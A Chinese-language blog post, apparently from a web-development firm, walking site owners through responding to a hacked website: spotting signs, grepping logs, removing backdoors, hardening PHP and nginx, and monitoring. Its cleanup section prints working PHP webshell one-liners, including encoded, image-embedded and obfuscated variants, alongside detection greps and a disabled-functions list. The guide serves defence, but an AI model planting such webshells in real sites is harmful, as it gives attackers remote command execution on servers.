网站被黑了怎么办?从发现入侵到清理后门、加固防护的完整应急流程
你的网站可能已经被黑了
很多站长发现网站被黑时,入侵其实已经发生了很久。攻击者不一定会篡改首页或者挂黑页——那种高调的手法反而少见。更常见的是悄悄植入后门,利用你的服务器发送垃圾邮件、挖矿、做跳转劫持或者当作攻击其他网站的跳板。
以下这些迹象可能意味着你的网站已经被入侵了:
- 搜索引擎收录了大量你从未发布过的页面(通常是赌博、色情或药品广告)
- 网站打开后被自动跳转到其他站点
- 服务器CPU或内存占用异常偏高
- 出现了不认识的管理员账号
- 文件修改时间异常(比如核心文件在你没有操作的情况下被修改)
- 服务器日志中出现大量对非常规路径的访问请求
- 搜索引擎或安全工具标记你的网站为"不安全"
- 网页源代码中出现了你不认识的iframe、script标签或加密代码
如果发现了以上任何一个迹象,需要立即启动应急处理流程。
第一步:保护现场,不要慌
发现被黑后,很多人的第一反应是赶紧删除被篡改的文件或者重装系统。这样做看似在解决问题,实际上可能会:
- 破坏入侵证据,无法分析攻击路径
- 删除症状但没删除根源,攻击者很快就能重新进入
- 如果没有完整备份,可能造成数据丢失
正确的做法是:
1. 记录当前状态
先截图、记录异常现象。如果可能的话,对整个网站目录做一份快照或打包备份(包含恶意文件,用于后续分析)。
2. 暂时下线或限制访问
如果网站正在被用于恶意跳转或传播恶意内容,应该暂时下线以保护访问者。可以在nginx中临时返回维护页面:
location / {
return 503;
error_page 503 /maintenance.html;
}
或者通过防火墙限制仅允许你自己的IP访问,方便排查的同时阻止攻击者继续操作。
3. 修改所有密码
在开始排查之前,立即修改以下密码:
- 服务器SSH/远程登录密码
- 数据库密码
- 网站后台管理员密码
- FTP/SFTP密码
- 宝塔面板或其他管理面板密码
修改密码的目的是切断攻击者可能仍持有的访问通道。
第二步:分析入侵方式
不搞清楚攻击者是怎么进来的,清理了后门也会被再次入侵。
检查访问日志
Web服务器的访问日志是最重要的线索来源。重点关注以下模式:
可疑的POST请求:
grep "POST" /www/wwwlogs/site.com.log | grep -v "正常的路径" | sort | uniq -c | sort -rn | head -50
后门文件通常通过POST请求接收指令。如果某个不认识的PHP文件收到了大量POST请求,基本可以确定是后门。
可疑的URL模式:
grep -E "(eval|base64|system|exec|passthru|shell_exec)" /www/wwwlogs/site.com.log
攻击者的请求中经常包含这些PHP危险函数的名称。
非常规路径访问:
grep -E "\.(php|asp|jsp)" /www/wwwlogs/site.com.log | grep -v "正常的PHP文件" | sort | uniq -c | sort -rn
检查文件修改时间
find /www/wwwroot/site.com -name "*.php" -newer /www/wwwroot/site.com/index.php -mtime -30
这会找出最近30天内比index.php更新的所有PHP文件。如果你最近没有做过更新,这些文件都值得检查。
检查异常文件
# 查找包含危险函数的PHP文件
grep -rn "eval\s*(" /www/wwwroot/site.com --include="*.php"
grep -rn "base64_decode\s*(" /www/wwwroot/site.com --include="*.php"
grep -rn "system\s*(" /www/wwwroot/site.com --include="*.php"
grep -rn "exec\s*(" /www/wwwroot/site.com --include="*.php"
grep -rn "passthru\s*(" /www/wwwroot/site.com --include="*.php"
grep -rn "shell_exec\s*(" /www/wwwroot/site.com --include="*.php"
注意区分正常使用和恶意使用。比如某些框架或CMS本身会使用 eval(),但如果一个名为 config_bak.php 或 cache_update.php 的文件里出现了 eval(base64_decode(...)),那几乎可以确定是后门。
常见的入侵路径
弱密码暴力破解:后台管理密码太简单,被攻击者暴力猜解。日志中表现为大量针对登录页面的POST请求。
已知漏洞利用:使用的CMS或插件存在已公开的漏洞,攻击者用现成的工具自动化利用。
文件上传漏洞:上传功能没有做好安全校验,攻击者上传了PHP木马文件。
SQL注入:通过SQL注入获取了管理员密码,或者直接通过数据库写入恶意代码。
服务器层面漏洞:PHP、Web服务器、操作系统存在未修补的安全漏洞。
第三步:清理后门和恶意文件
确认了入侵方式之后,就可以开始清理了。
常见的后门类型
一句话木马——最简单也最常见:
<?php eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['a']); ?>
加密后门——用base64或其他编码隐藏恶意代码:
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
图片马——恶意代码藏在图片文件中:
GIF89a<?php system($_GET['cmd']); ?>
混淆后门——通过变量拼接、字符串操作等手段隐藏关键词:
<?php $a='sys'.'tem'; $a($_GET['c']); ?>
<?php $_='';$_[+$_]++;$_=$_.'';/* 一大堆混淆代码 */ ?>
定时任务后门——在crontab中添加定时下载并执行恶意脚本的任务:
crontab -l # 检查是否有不认识的定时任务
数据库后门——在数据库中存储恶意代码,通过正常的页面渲染执行:
SELECT content FROM articles WHERE id = 1;
-- content字段中包含 <script>恶意代码</script>
清理步骤
1. 删除明确的后门文件
根据前面的分析结果,删除所有确认为后门的文件。删除前做好备份(放到隔离目录,不要留在Web可访问的位置)。
2. 对比干净备份
如果有入侵前的干净备份,用 diff 工具对比当前文件和备份文件的差异:
diff -rq /www/wwwroot/site.com/ /backup/site.com/ | grep "differ"
这能发现被修改过的合法文件——攻击者经常在正常文件末尾或开头追加恶意代码。
3. 检查.htaccess和nginx配置
攻击者可能修改了Web服务器配置来实现跳转劫持:
find /www/wwwroot/site.com -name ".htaccess" -exec cat {} \;
检查nginx配置中是否有不认识的rewrite规则或proxy_pass。
4. 检查数据库
-- 查找包含script标签的记录
SELECT id, title FROM articles WHERE content LIKE '%<script%';
SELECT id, title FROM articles WHERE content LIKE '%eval(%';
SELECT id, title FROM articles WHERE content LIKE '%base64_decode%';
-- 检查管理员表是否有陌生账号
SELECT * FROM admin_users;
5. 检查系统级后门
# 检查crontab
crontab -l
cat /etc/crontab
ls /etc/cron.d/
# 检查开机启动
systemctl list-unit-files --state=enabled
# 检查异常进程
ps aux | grep -v "grep" | awk '{if($3>50) print $0}' # CPU占用超过50%的进程
netstat -tlnp # 检查异常的监听端口
第四步:修复漏洞
清理后门只是治标,修复漏洞才是治本。
根据入侵方式针对性修复
如果是弱密码:
- 所有密码改为16位以上、包含大小写字母数字特殊字符的强密码
- 后台登录添加验证码
- 限制登录失败次数,多次失败后锁定IP
- 修改后台登录URL,不要用默认的
/admin
如果是代码漏洞:
- 修复SQL注入、XSS、文件上传等具体漏洞
- 对所有用户输入做严格校验和过滤
如果是已知CMS漏洞:
- 升级CMS和所有插件到最新版本
- 关注CMS官方的安全公告
如果是服务器漏洞:
- 升级PHP到最新安全版本
- 更新操作系统安全补丁
- 更新Web服务器版本
通用加固措施
PHP配置加固:
; 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; 关闭错误显示
display_errors = Off
; 限制文件操作范围
open_basedir = /www/wwwroot/site.com/:/tmp/
; 禁止远程文件包含
allow_url_include = Off
allow_url_fopen = Off
nginx配置加固:
# 禁止访问隐藏文件
location ~ /\. {
deny all;
}
# 禁止上传目录执行PHP
location ~* /uploads/.*\.php$ {
deny all;
}
# 限制请求方法
if ($request_method !~ ^(GET|POST|HEAD)$) {
return 405;
}
文件权限设置:
# 目录755,文件644
find /www/wwwroot/site.com -type d -exec chmod 755 {} \;
find /www/wwwroot/site.com -type f -exec chmod 644 {} \;
# 配置文件更严格
chmod 600 config.php
第五步:恢复上线和后续监控
恢复上线检查清单
- [ ] 所有后门文件已清除
- [ ] 入侵漏洞已修复
- [ ] 所有密码已更改
- [ ] 数据库中的恶意内容已清理
- [ ] PHP和系统已更新到安全版本
- [ ] 安全配置已加固
- [ ] 完整的干净备份已保存
搜索引擎处理
如果网站被搜索引擎标记为不安全:
- 在百度搜索资源平台提交"恢复正常"申诉
- 在Google Search Console中申请安全审查
- 清理被搜索引擎收录的恶意页面,通过sitemap和robots.txt引导蜘蛛重新抓取
建立长期监控机制
文件完整性监控:定期对比网站文件的Hash值,发现异常修改立即告警。可以用简单的脚本实现:
find /www/wwwroot/site.com -name "*.php" -exec md5sum {} \; > /root/site_hash_$(date +%Y%m%d).txt
每天运行一次,对比前后两天的Hash值差异。
日志监控:定期分析访问日志,关注异常请求模式。宝塔面板的日志功能可以做基础监控,更专业的可以用ELK或Loki。
定期备份:至少每周全量备份一次,保留最近一个月的备份。备份文件存放在独立的存储位置,不要和网站放在同一台服务器上。
安全扫描:每月用OWASP ZAP或类似工具做一次安全扫描,及时发现新出现的漏洞。
预防胜于治疗
万户科技在多年的网站运维经验中发现,绝大多数入侵事件都是可以预防的。做好以下几点,能挡住90%以上的攻击:
- 保持软件更新——PHP、CMS、插件、操作系统,都要及时打安全补丁
- 使用强密码——所有对外服务使用16位以上的强密码,不同服务用不同密码
- 最小权限原则——Web服务器进程不要用root运行,文件权限不要设777
- 关闭不需要的功能——不用的PHP扩展关掉,不用的端口封掉,不用的服务停掉
- 定期备份——数据是命根子,备份是保险绳
- 安全意识——不下载来路不明的插件和主题,不在服务器上登录不信任的网站
网站安全是一个持续的过程,不是一次性的项目。保持警惕、定期检查、及时响应,才能让你的网站长期安全运行。
需要网站建设、软件开发或爬虫定制?
模板建站1280元起,价格公开不加价。电话/微信 13535321113
